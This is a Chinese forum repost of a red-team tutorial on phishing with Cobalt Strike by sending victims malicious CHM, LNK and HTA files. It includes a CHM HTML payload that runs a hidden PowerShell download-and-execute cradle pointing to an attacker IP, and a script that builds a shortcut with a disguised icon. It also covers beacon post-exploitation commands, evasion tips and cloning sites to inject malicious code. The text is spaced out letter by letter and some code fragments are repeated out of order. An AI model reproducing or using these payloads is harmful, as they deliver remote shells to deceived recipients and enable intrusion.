搜索

[21200] 2020-08-16_HW准备：CobaltStrike之CHM、LNK、HTA钓鱼

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-08-16_HW准备：CobaltStrike之CHM、LNK、HTA钓鱼 H W 准 备 ： C o b a l t   S t r i k e 之 C H M 、 L N K 、 H T A 钓 鱼 L e m o n S e c   2 0 2 0 - 0 8 - 1 6 C o b a l t   S t r i k e 之 C H M 、 L N K 、 H T A 钓 鱼 如 果 手 里 没 几 个 如 果 手 里 没 几 个 0 d a y ， 就 不 要 指 望 通 过 应 用 漏 洞 和 系 统 漏 洞 打 进 去 了 ， 毕 竟 层 层 防 护 很 难 突 破 ， 与 其 不 停 的 用 头 撞 墙 ， 就 不 要 指 望 通 过 应 用 漏 洞 和 系 统 漏 洞 打 进 去 了 ， 毕 竟 层 层 防 护 很 难 突 破 ， 与 其 不 停 的 用 头 撞 墙   不 如 研 究 下 钓 鱼 吧 不 如 研 究 下 钓 鱼 吧 C H M 钓 鱼 钓 鱼 C H M 介 绍 C H M （ C o m p i l e d   H e l p   M a n u a l ） 即 “ 已 编 译 的 帮 助 文 件 ” 。 它 是 微 软 新 一 代 的 帮 助 文 件 格 式 ， 利 用 H T M L 作 源 文 ， 把 帮 助 内 容 以 类 似 数 据 库 的 形 式 编 译 储 存 。 利 用 C H M 钓 鱼 主 要 原 因 是 因 为 该 文 档 可 以 执 行 c m d 命 令   这 里 制 作 C H M 需 要 用 到 一 个 工 具 就 是     E a s y C H M   C H M 制 作 过 程 ： 创 建 一 个 文 件 夹 （ 名 字 随 意 ） ， 在 文 件 夹 里 面 再 创 建 两 个 文 件 夹 （ 名 字 随 意 ） 和 一 个 i n d e x . h t m l 文 件 ， 在 两 个 文 件 夹 内 部 创 建 各 创 建 一 个 i n d e x . h t m l 文 件 。 先 将 下 列 代 码 复 制 到 根 文 件 夹 中 的 i n d e x . h t m l 中 。 打 开 我 们 的 E a s y C H M 工 具 后 点 击 新 建 然 后 导 入 自 己 创 建 的 文 件 夹 ， 点 击 确 定 后 再 点 击 编 译 ， 在 弹 出 的 对 话 框 中 点 击 生 成 C H M 按 钮 < ! D O C T Y P E   h t m l > < h t m l > < h e a d > < t i t l e > M o u s e j a c k   r e p l a y < / t i t l e > < h e a d > < / h e a d > < b o d y > c o m m a n d   e x e c   < O B J E C T   i d = x   c l a s s i d = " c l s i d : a d b 8 8 0 a 6 - d 8 f f - 1 1 c f - 9 3 7 7 - 0 0 a a 0 0 3 b 7 a 1 1 "   w i d t h = 1   h e i g h t = 1 > < P A R A M   n a m e = " C o m m a n d "   v a l u e = " S h o r t C u t " >   < P A R A M   n a m e = " B u t t o n "   v a l u e = " B i t m a p : : s h o r t c u t " >   < P A R A M   n a m e = " I t e m 1 "   v a l u e = ' , c a l c . e x e ' >   < P A R A M   n a m e = " I t e m 2 "   v a l u e = " 2 7 3 , 1 , 1 " > < / O B J E C T > < S C R I P T > x . C l i c k ( ) ; < / S C R I P T > < / b o d y > < / h t m l >
它 会 给 你 生 产 一 个 C H M 文 件 ， 给 别 人 发 过 去 ， 一 旦 点 击 就 会 给 弹 出 计 算 机 生 产 钓 鱼 文 件 启 动 C o b a l t   S t r i k e ， 点 击 a t t a c k s — — > w e b   D r i v e   b y — — > s c r i p t e d   w e b   D e l i v e r y 在 弹 出 的 对 话 框 中 将 t y p e 类 型 设 置 为 p o w e r s h e l l 然 后 单 击 l a u n c h 按 钮 再 用 代 码 将 上 面 创 建 的 根 文 件 夹 中 的 i n d e x . h t m l 代 码 中 的 c a l c . e x e 替 换 掉 。 < ! D O C T Y P E   h t m l > < h t m l > < h e a d > < t i t l e > M o u s e j a c k   r e p l a y < / t i t l e > < h e a d > < / h e a d > < b o d y > c o m m a n d   e x e c   < O B J E C T   i d = x   c l a s s i d = " c l s i d : a d b 8 8 0 a 6 - d 8 f f - 1 1 c f - 9 3 7 7 - 0 0 a a 0 0 3 b 7 a 1 1 "   w i d t h = 1   h e i g h t = 1 > < P A R A M   n a m e = " C o m m a n d "   v a l u e = " S h o r t C u t " >   < P A R A M   n a m e = " B u t t o n "   v a l u e = " B i t m a p : : s h o r t c u t " >   < P A R A M   n a m e = " I t e m 1 "   v a l u e = " , p o w e r s h e l l . e x e ,   - n o p   - w   h i d d e n   - c   I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 2 0 9 . 1 5 1 : 8 1 / a a ' ) ) " >   < P A R A M   n a m e = " I t e m 2 "   v a l u e = " 2 7 3 , 1 , 1 " >
生 产 C H M 发 送 给 别 人 ， 点 击 后 获 得 反 弹 的 s h e l l L N K 钓 鱼 钓 鱼 l n k 文 件 是 用 于 指 向 其 他 文 件 的 一 种 文 件 。 这 些 文 件 通 常 称 为 快 捷 方 式 文 件 ， 通 常 它 以 快 捷 方 式 放 在 硬 盘 上 ， 以 方 便 使 用 者 快 速 的 调 用 。 l n k 钓 鱼 主 要 将 图 标 伪 装 成 正 常 图 标 ， 但 是 目 标 会 执 行 s h e l l 命 令 。   先 做 个 简 单 的 p o w e r s h e l l 生 产 图 标 ： 创 建 个 t x t 文 本 写 入 下 面 代 码 然 后 改 文 件 后 缀 名 为 . p s 1 。 右 键 文 件 p o w e r s h e l l 运 行 后 会 弹 出 计 算 器 钓 鱼 方 法 ： 首 先 通 过 C o b a l t   S t r i k e 的 a t t a c k s — — > w e b   D r i v e   b y — — > s c r i p t e d   w e b   D e l i v e r y t p y e 类 型 为 p o w e r s h e l l ， 然 后 单 机 l a u n c h 。 生 产 代 码 。 还 记 的 上 面 做 的 那 个 简 单 的 p o w e r s h e l l 么 ， 后 缀 改 回 t x t ， 将 生 成 的 代 码 替 换 掉 c a l c . e x e 将 下 面 的 p o w e r s h e l l 代 码 写 入 . p s 1 文 件 ， 右 键 运 行 p o w e r s h e l l 。 生 成 t e s t . l n k 文 件 ， 而 且 图 标 改 了 （ p o w e r s h e l l 执 行 文 件 要 和 t e s t . t x t 要 在 一 个 目 录 下 ， 这 个 图 标 所 在 位 置 就 在 % S y s t e m R o o t % S y s t e m 3 2 S h e l l 3 2 . d l l 目 录 下 ） 后 将 t e s t . l n k 发 送 给 他 人 ， 获 得 反 弹 s h e l l 。 H T A 钓 鱼 钓 鱼   H T A 是 H T M L   A p p l i c a t i o n 的 缩 写 ， 直 接 将 H T M L 保 存 成 H T A 的 格 式 ， 是 一 个 独 立 的 应 用 软 件 。 H T A 虽 然 用 H T M L 、 J S 和 C S S 编 写 ， 却 比 普 通 网 页 权 限 大 得 多 ， 它 具 有 桌 面 程 序 的 所 有 权 限 。 就 是 一 个 h t m l 应 用 程 序 ， 双 击 就 能 运 行 。   C o b a l t   S t r i k e ， a t t a c k s — — > p a c k a g e s — — > H T M L   a p p l i c a t i o n   选 择 p o w e r s h e l l 然 后 单 机 g e n e r a t e ， 选 择 保 存 路 径 。 将 生 成 的 . h t a 文 件 发 送 给 别 人 ， 点 击 后 获 得 s h e l l   < P A R A M   n a m e = " I t e m 2 "   v a l u e = " 2 7 3 , 1 , 1 " > < / O B J E C T > < S C R I P T > x . C l i c k ( ) ; < / S C R I P T > < / b o d y > < / h t m l > c m d   / c   c a l c . e x e $ f i l e   =   G e t - C o n t e n t   " t e s t . t x t " $ W s h S h e l l   =   N e w - O b j e c t   - c o m O b j e c t   W S c r i p t . S h e l l $ S h o r t c u t   =   $ W s h S h e l l . C r e a t e S h o r t c u t ( " t e s t . l n k " ) $ S h o r t c u t . T a r g e t P a t h   =   " % S y s t e m R o o t % s y s t e m 3 2 c m d . e x e " $ S h o r t c u t . I c o n L o c a t i o n   =   " % S y s t e m R o o t % S y s t e m 3 2 S h e l l 3 2 . d l l , 2 1 " $ S h o r t c u t . A r g u m e n t s   =   '                                                                                                                                                                                                                                                                                                                                                                                                                                                                         ' $ S h o r t c u t . S a v e ( )
后 渗 透 阶 段 后 渗 透 阶 段 相 信 你 已 经 能 拿 到 一 个 b e a c o n 的 s h e l l 了 。 下 面 是 一 些 基 本 的 使 用 命 令 ， 但 是 c s 监 听 器 对 中 文 支 持 并 不 友 好 ， 会 对 中 文 产 生 乱 码 。   h e l p   查 看 b e a c o n   s h e l l 所 有 内 置 命 令 帮 助 , 如 果 想 查 看 指 定 命 令 的 用 法 , 可 以 这 样 , e g :   h e l p   c h e c k i n n o t e   给 当 前 目 录 机 器 起 个 名 字 ,   e g :   n o t e   b e a c o n - s h e l l c d   在 目 标 系 统 中 切 换 目 录 , 注 意 在 w i n 系 统 中 切 换 目 录 要 用 双 反 斜 杠 , 或 者 直 接 用 ' / '   e g :   c d   c : m k d i r   新 建 目 录 ,   e g :   m k d i r   d : b e a c o n r m   删 除 文 件 或 目 录 ,   e g :   r m   d : b e a c o n u p l o a d   上 传 文 件 到 目 标 系 统 中 d o w n l o a d   从 目 标 系 统 下 载 指 定 文 件 , e g :   d o w n l o a d   C : U s e r s w i n 7 c n D e s k t o p p u t t y . e x e c a n c e l   取 消 下 载 任 务 , 比 如 , 一 个 文 件 如 果 特 别 大 , 下 载 可 能 会 非 常 耗 时 , 假 如 中 途 你 不 想 继 续 下 了 , 就 可 以 用 这 个 取 消 一 下 s h e l l   在 目 标 系 统 中 执 行 指 定 的 c m d 命 令 ,   e g :   s h e l l   w h o a m i g e t u i d   查 看 当 前 b e a c o n   会 话 在 目 标 系 统 中 的 用 户 权 限 , 可 能 需 要 b y p a s s u a c 或 者 提 权 p w d   查 看 当 前 在 目 录 系 统 中 的 路 径 l s   列 出 当 前 目 录 下 的 所 有 文 件 和 目 录 d r i v e s   列 表 出 目 标 系 统 的 所 有 分 区 [ w i n 中 叫 盘 符 ] p s   查 看 目 标 系 统 当 前 的 所 有 的 进 程 列 表 k i l l   杀 掉 指 定 进 程 ,   e g :   k i l l   4 6 5 3 s l e e p   1 0   指 定 被 控 端 休 眠 时 间 , 默 认 6 0 秒 一 次 回 传 , 让 被 控 端 每 1 0 秒 来 下 载 一 次 任 务 , 实 际 中 频 率 不 宜 过 快 , 容 易 被 发 现 , 8 0 左 右 一 次 即 可 j o b s   列 出 所 有 的 任 务 列 表 , 有 些 任 务 执 行 时 间 可 能 稍 微 较 长 , 此 时 就 可 以 从 任 务 列 表 中 看 到 其 所 对 应 的 具 体 任 务 i d , 针 对 性 的 清 除 j o b k i l l   如 果 发 现 任 务 不 知 是 何 原 因 长 时 间 没 有 执 行 或 者 异 常 , 可 尝 试 用 此 命 令 直 接 结 束 该 任 务 ,   e g :   j o b k i l l   1 3 4 5 c l e a r   清 除 b e a c o n 内 部 的 任 务 队 列 c h e c k i n   强 制 让 被 控 端 回 连 一 次 e x i t   终 止 当 前 b e a c o n   会 话 c t r l   +   k   清 屏 有 些 可 能 会 触 发 敏 感 a p i 导 致 防 护 报 警 , 另 外 进 程 注 入 , 被 控 端 可 能 感 到 非 常 明 显 的 卡 顿 , 工 具 也 有 许 多 不 完 善 的 地 方 网 站 克 隆 网 站 克 隆 C o b a l t   S t r i k e 还 能 够 实 现 网 站 克 隆 c o t a l t   s t r i k e 能 够 快 速 复 制 目 标 网 站 前 端 页 面 ， 并 且 复 制 相 识 度 极 高 c o t a l t   s t r i k e 同 时 还 可 以 在 复 制 的 网 站 中 插 入 恶 意 代 码 ， 如 果 本 地 浏 览 器 带 有 漏 洞 的 用 户 ， 可 以 直 接 控 制 目 标 机 器 。 点 击 a t t a c k s — — > W e b   D r i v e - b y — — > C l o n e   s i t e C l o n e   U R L ： 克 隆 目 标 网 站 的 U R L （ 如 果 网 站 不 是 8 0 端 口 的 话 域 名 后 得 跟 上 端 口 号 。 ） 注 意 问 题 ： U R L 需 要 添 加 h t t p 协 议 和 端 口 （ 8 1 ） L o c a l   U R L ： 本 地 克 隆 路 径 L o c a l   H o s t ： 本 地 主 机 I P L o c a l   P o r t ： 本 地 端 口 A t t a c k ： 克 隆 后 目 标 网 站 执 行 脚 本 ， 如 ： f l a s h 漏 洞   作 者 ： 卿 ' s   B l o g     原 文 链 接 ： h t t p s : / / b l o g . c s d n . n e t / q q _ 1 7 2 0 4 4 4 1 / a r t i c l e / d e t a i l s / 9 0 4 3 6 4 8 1                                
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理